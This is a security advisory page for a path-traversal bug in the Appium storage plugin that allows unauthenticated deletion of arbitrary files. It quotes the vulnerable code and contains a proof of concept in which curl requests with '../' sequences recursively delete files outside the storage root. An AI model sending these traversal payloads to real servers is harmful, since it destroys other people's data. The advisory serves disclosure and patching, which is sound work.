CVE-2026-58192
appium allows unauthenticated arbitrary file/directory deletion in @appium/storage-plugin
Also known as GHSA-jwgx-mp9m-jwcr
Mitigation
- Upgrade @appium/storage-plugin to 1.1.6 or later.
Who should check
- Projects that depend on npm package @appium/storage-plugin (< 1.1.6)
Vulnerability facts
- Affected
- @appium/storage-plugin < 1.1.6
- Fixed in
- 1.1.6
- Exploited in the wild
- Not in CISA KEV
- Public exploit / PoC
- None known
- Remote exploitation
- Remote, no login needed
- CVSS
- 8.6 (v3.1, GitHub)CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:NOpen in CVSS calculator
Show all 8 CVSS metrics
- Attack vector: Network
- Attack complexity: Low
- Privileges required: None
- User interaction: None
- Scope: Changed (impact reaches other components)
- Confidentiality impact: None
- Integrity impact: High
- Availability impact: None
- EPSS
- 0.64% chance of exploitation in 30 days (percentile 45, 2026-11-26)
- CWE
- CWE-22, CWE-73
- Modified
Description
## Summary The Appium storage plugin exposes an HTTP endpoint `POST /storage/delete` that takes a user-supplied `name` and deletes it from the server storage folder. The handler passes `name` straight into `path.join(storageRoot, name)` and then `fs.rimraf()` **without any path sanitization**. By sending a `name` containing `../` sequences, an unauthenticated remote client can escape the storage root and **recursively delete arbitrary files and directories** that the Appium process user can write, anywhere on the host filesystem. The same plugin's *upload* path validates the name via `fs.sanitizeName` (`requireValidItemOptions`), but the *delete* path does not an asymmetry that makes the missing validation unambiguous. ### Details Published build (`node_modules/@appium/storage-plugin/build/lib/storage.js`), and source (`packages/storage-plugin/lib/`): - `packages/storage-plugin/lib/storage.ts:65-75` — `Storage.delete()`: ```ts async delete(name: string): Promise<boolean> { if (name.toLowerCase().endsWith(TMP_EXT)) { return false; } const destinationPath = path.join(this._root, name); // <-- no sanitization if (!(await fs.exists(destinationPath))) { return false; } await fs.rimraf(destinationPath); // <-- recursive delete return true; } ``` - `packages/storage-plugin/lib/plugin.ts:77-83` — handler passes raw body: ```ts STORAGE_HANDLERS.deleteStorageItem = async function deleteStorageItem(req) { return await executeStorageMethod( async (storage) => await storage.delete(parseRequestArgs(req, ['name']).name), ); }; ``` `parseRequestArgs` (`plugin.ts:94-106`) only checks that the key exists; it does **not** validate the value. - Contrast — the upload path *does* sanitize: `storage.ts:53-54` `add()` → `requireValidItemOptions()` (`storage.ts:236-256`) rejects any `name` that differs from `fs.sanitizeName(name)`. `delete()` skips this entirely. ### PoC 1. Install and start the server with the storage plugin: ```sh npm install appium@3.5.0 ./node_modules/.bin/appium plugin install --source=npm @appium/storage-plugin ./node_modules/.bin/appium --use-plugins=storage --address 127.0.0.1 --port 4723 ``` (Default `--address` is `0.0.0.0`; `127.0.0.1` used here for a contained test.) 2. Plant a victim file/dir outside the storage root, then delete via traversal: ```sh mkdir -p /tmp/pv_dir && echo SECRET > /tmp/pv_dir/important.txt echo single > /tmp/pv_file.txt curl -s -X POST http://127.0.0.1:4723/storage/delete \ -H 'Content-Type: application/json' \ -d '{"name":"../../../../../../../../../../tmp/pv_file.txt"}' # -> {"value":true} curl -s -X POST http://127.0.0.1:4723/storage/delete \ -H 'Content-Type: application/json' \ -d '{"name":"../../../../../../../../../../tmp/pv_dir"}' # -> {"value":true} ``` <img width="2182" height="678" alt="image" src="https://github.com/user-attachments/assets/a4984132-3334-41c5-9a29-12ec59461d25" /> ### Impact An unauthenticated attacker who can reach the Appium HTTP port (network by default, or cross-origin via a victim browser due to default CORS + no auth) can recursively delete any file or directory writable by the Appium process user. On CI runners, device farms, and developer machines this enables destruction of source trees, build artifacts, SSH keys, configuration, or the OS user profile data loss and denial of service. Appium frequently runs with broad privileges on shared device-lab hosts, amplifying impact.
Affected and fixed versions
| Package / product | Affected | Fixed | Source |
|---|---|---|---|
| npm @appium/storage-plugin | < 1.1.6 | 1.1.6 | ghsa |
Check your systems with an agent
Paste this into Claude Code, Cursor or another coding agent. It only reads; it changes nothing.
Check whether anything I run is affected by CVE-2026-58192. Work read-only: do not install, upgrade, delete or change anything. Details: https://flawdb.com/CVE-2026-58192.md Affected: @appium/storage-plugin < 1.1.6 Fixed in: 1.1.6 Steps: 1. Search this machine and project for @appium/storage-plugin (npm): dependency manifests and lockfiles, installed packages, container images and running services. 2. For each match, note the installed version and whether it is inside the affected range. 3. Report a table: location, installed version, affected (yes / no / unsure), evidence. If affected, say which fixed version or mitigation from the details link applies, but don't apply it.
Technologies
References
Patches
FAQ
Is CVE-2026-58192 being exploited?
There is no confirmed exploitation: CVE-2026-58192 is not in the CISA Known Exploited Vulnerabilities catalog. No public exploit code is known. EPSS estimates a 0.64% chance of exploitation in the next 30 days (as of 2026-11-26).
How serious is CVE-2026-58192?
High: CVSS 8.6 (v3.1, scored by GitHub). Remote, no login needed.
Which versions are affected by CVE-2026-58192?
@appium/storage-plugin < 1.1.6.
Is there a fix for CVE-2026-58192?
Yes. Fixed in 1.1.6. Upgrade @appium/storage-plugin to 1.1.6 or later.
How do I check if I'm affected by CVE-2026-58192?
Find where you use the affected software (dependency lockfiles, installed packages, container images, servers) and compare the installed version with the affected range above. The agent prompt on this page does this read-only.